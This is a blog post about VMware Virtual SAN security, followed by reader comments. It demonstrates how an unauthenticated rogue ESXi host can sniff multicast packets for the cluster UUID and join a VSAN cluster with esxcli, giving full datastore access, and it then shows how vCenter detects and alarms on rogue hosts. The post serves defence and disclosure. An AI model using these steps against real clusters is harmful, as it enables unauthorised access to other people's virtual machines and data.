Why you should protect your Virtual SAN Network

As a common best practice you should separate management, vMotion and Virtual SAN traffic from production traffic. This is not only a performance requirement, but also for security concerns. Compared to management traffic which is encrypted and requires authentication and vMotion traffic which is impracticable to eavesdrop, Virtual SAN traffic presents a large surface area to attacks.

This article explains why it is critical to keep Virtual SAN traffic in protected networks and what can happen when you ignore this guideline. I am also explaining how you can detect and monitor such attacks.

What's the problem?
Virtual SAN has no authentication mechanism. It is expected behavior and well documented how you can join a VSAN Cluster and get access to the VSAN Datastore. There is no requirement that all ESXi hosts have to contribute hard drives to the VSAN Cluster. ESXi hosts without local drives can also be part of the VSAN Cluster and run Virtual Machines.

Adding a host to a Virtual SAN Cluster is explained in KB2059091 (Adding a host back to a Virtual SAN cluster after an ESXi host rebuild) and this technical whitepaper: TechNote: Bootstrapping VSAN without vCenter.

The process is simple and does not require any authentication or vCenter assistance. Run the following command on any ESXi host with physical access to the VSAN Network:

~ # esxcli vsan cluster join -u [VSAN cluster UUID]

The host will join the VSAN Cluster and you have full access to the VSAN Datastore. Both documents mentioned above are explaining how you can identify the UUID when you have access to an ESXi host participating in the cluster:

~ # esxcli vsan cluster get
Cluster Information
 Enabled: true
 Current Local Time: 2015-11-13T21:09:19Z
 Local Node UUID: 5626efba-a1d6-5baa-adfe-000c294db439
 Local Node State: AGENT
 Local Node Health State: HEALTHY
 Sub-Cluster Master UUID: 5626f1d9-c195-3457-cc98-000c298eb368
 Sub-Cluster Backup UUID: 56443d6f-ec94-9cc5-5261-005056bd245c
 Sub-Cluster UUID: 52e951e5-8202-1bad-2647-23963e4dc535
 Sub-Cluster Membership Entry Revision: 12
 Sub-Cluster Member UUIDs: 5626f1d9-c195-3457-cc98-000c298eb368, 56443d6f-ec94-9cc5-5261-005056bd245c, 5626efba-a1d6-5baa-adfe-000c294db439
 Sub-Cluster Membership UUID: 85494456-b3a3-31e7-a021-000c298eb368

Nothing fancy so far because you need VSAN access to get the UUID. But is it's also possible without.

How to get the UUID without access to the VSAN?
Without knowing anything about the Virtual SAN you technically have to gather two informations to maliciously join a VSAN Cluster. You need the Cluster UUID, and the IP network where ESXi hosts are communicating. ESXi hosts participating in VSAN are using multicast packets to communicate to each other, an exactely these packets comprise the required information. The packets are sent on VSAN enabled VMkernel interfaces and this is the reason why you have keep this network secure.

As a default VSAN uses two multicast addresses, 224.1.2.3 (Master Group) and 224.2.3.4 (Agent Group). All hosts are sending one packet every second to one of the multicast addresses. Let's place a malicious ESXi host in the network and capture a packet. We are capturing traffic on vmnic level so no IP address configuration is required yet. The output is filtered by UDP (Protocol ID 0x11) and the VSAN master group multicast address.

~ # pktcap-uw --uplink vmnic1 --proto 0x11 --ip 224.1.2.3
21:57:50.161227[4] Captured at EtherswitchDispath point, TSO not enabled, Checksum not offloaded and verified, length 242.
 Segment[0] ---- 242 bytes:
 0x0000: 0100 5e01 0203 0050 5660 afeb 0800 4500
 0x0010: 00e4 745d 0000 0511 54a7 0a00 0001 e001
 0x0020: 0203 90b9 3039 00d0 4d69 636d 6d64 736e
 0x0030: 6574 0006 0700 c800 0000 d864 0300 0000
 0x0040: 0000 8549 4456 b3a3 31e7 a021 000c 298e
 0x0050: b368 0000 0000 0000 0000 0000 0000 0000
 0x0060: 0000 52e9 51e5 8202 1bad 2647 2396 3e4d
 0x0070: c535 0000 0000 0000 0000 0000 0000 0000
 0x0080: 0000 5626 efba a1d6 5baa adfe 000c 294d
 0x0090: b439 b248 4456 07f3 2b4d 70c0 000c 294d
 0x00a0: b439 0000 0006 0000 0000 0000 0000 0000
 0x00b0: 0000 0e03 0500 0300 0000 0d01 0100 0000
 0x00c0: 0000 0b02 0000 0000 0000 0d09 0100 1000
 0x00d0: 0000 bb48 4456 92d9 26e7 aafa 000c 298e
 0x00e0: b368 0d03 0100 0200 0000 0d03 0100 0000
 0x00f0: 0000

Now we are taking the packet apart:
tcpdump-vsan-packet
This is the IP packet in hexadecimal. I've marked the information we are looking for:

  • 0a00 0001 = IP Address of the sending ESXi Host (10.0.0.1)
  • 636d 6d64 736e 6574 = Converted to ASCII: cmmdsnet. CMMFS stands for Cluster Monitoring, Membership, and Directory Service and is a part of VSAN.
  • 52e9 51e5 8202 1bad 2647 2396 3e4d c535 = VSAN Cluster UUID

With this information we can join the malicious host to the VSAN Cluster. First create a virtual Switch and configure the VMkernel interface:

~ # esxcli network vswitch standard add --vswitch-name=vSwitch1
~ # esxcli network vswitch standard uplink add --uplink-name=vmnic1 --vswitch-name=vSwitch1
~ # esxcli network vswitch standard portgroup add --portgroup-name=vsan --vswitch-name=vSwitch1
~ # esxcli network ip interface add --interface-name=vmk1 --portgroup-name=vsan
~ # esxcli network ip interface ipv4 set --interface-name=vmk1 --ipv4=10.0.0.50 --netmask=255.255.255.0 --type=static

Activate VSAN traffic:

~ # esxcli vsan network ipv4 add -i vmk1

Now we can join the Virtual SAN Cluster.
The UUID must be converted to the format xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx

~ # esxcli vsan cluster join -u 52e951e5-8202-1bad-2647-23963e4dc535

That's it. We are now part of the VSAN Cluster and have full access to the VSAN Datastore:

~ # esxcli vsan cluster get
Cluster Information
 Enabled: true
 Current Local Time: 2015-11-13T18:55:31Z
 Local Node UUID: 56447644-2c0f-5c3b-1c8a-005056bd0f2c
 Local Node State: AGENT
 Local Node Health State: HEALTHY
 Sub-Cluster Master UUID: 5626f1d9-c195-3457-cc98-000c298eb368
 Sub-Cluster Backup UUID: 56443d6f-ec94-9cc5-5261-005056bd245c
 Sub-Cluster UUID: 52e951e5-8202-1bad-2647-23963e4dc535
 Sub-Cluster Membership Entry Revision: 5
 Sub-Cluster Member UUIDs: 5626f1d9-c195-3457-cc98-000c298eb368, 56443d6f-ec94-9cc5-5261-005056bd245c, 5626efba-a1d6-5baa-adfe-000c294db439, 56447644-2c0f-5c3b-1c8a-005056bd0f2c
 Sub-Cluster Membership UUID: 85494456-b3a3-31e7-a021-000c298eb368

~ # ls -l /vmfs/volumes/vsanDatastore/
total 3072
drwxr-xr-t 1 root root 1820 Nov 12 11:22 6e764456-9bce-00ad-1003-000c294db439
drwxr-xr-t 1 root root 1820 Nov 12 11:22 86764456-6a1c-bd44-7c4e-000c298eb368
drwxr-xr-t 1 root root 1820 Nov 12 11:23 a5764456-a335-6b7a-5307-000c298eb368
lrwxr-xr-x 1 root root 36 Nov 13 18:55 dc01 -> 6e764456-9bce-00ad-1003-000c294db439
lrwxr-xr-x 1 root root 36 Nov 13 18:55 dc02 -> 86764456-6a1c-bd44-7c4e-000c298eb368
lrwxr-xr-x 1 root root 36 Nov 13 18:55 www01 -> a5764456-a335-6b7a-5307-000c298eb368

How to identify malicious ESXi Hosts?
When an ESXi host that is not known to the vCenter joins the Virtual SAN, the following warning appears:

Found host(s) [hostsname] participating in the Virtual SAN service which is not a member of this host's vCenter cluster.

found-malicious-esxi-in-vsan
ESXi hosts are also marked with a yellow warning symbol:
esxi-warning

If you want to monitor this event, you can create a custom alarm:

  1. Navigate to vCenter > Manage > Alarm Definitions and click Add (Green +)
    vcenter-manage-alarm-definitions
  2. Configure general settings
    Alarm name: Rogue Host Found in Virtual SAN Cluster.
    Monitor: Hosts
    Monitor for: specific event occuring on this object.
    create-alarm-general
  3. Add a trigger for the event com.vmware.vc.vsan.RogueHostFoundEvent
    alarm-trigger-RogueHostFoundEvent
  4. Finish the wizard

Hosts will now trigger an alarm when rogue hosts are detected.
rogue-alarm

I've reported this potential security issue during the beta phase to VMware. They confirmed that this is intended behavior and the advice is to use an isolated non-routed VLAN.

  1. How to create custom vCenter Alarms | Virten.net - pingback on November 23, 2015 at 11:33 pm
  2. Great info!Something Cisco and Vmware should look after.

  3. Marc Papillon

    Guys, you just SAVED MY A** : I misconfigured the VDS switch with wrong VLAN ID on the vCenter, guess what, vCenter stored on the vSan cluster !! And because I lost completely the vsan connectivity everything went wrong :(
    Using help provided by VMware KB2009609 to remove vmnicX and vmkernelXX and joining your help with provived commands unde shell ESXi, I managed to move those vmnic and vmkX to a new standard vSwitch (on all ESXi)
    And IT's WORKING !!! The vCenter is safe and sound... back from the deads. (Same for the 4 nodes vSan Cluster)
    Many Many THX, I love you :)
    Marc

Leave a Comment

NOTE - You can use these HTML tags and attributes:
<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>

Trackbacks and Pingbacks: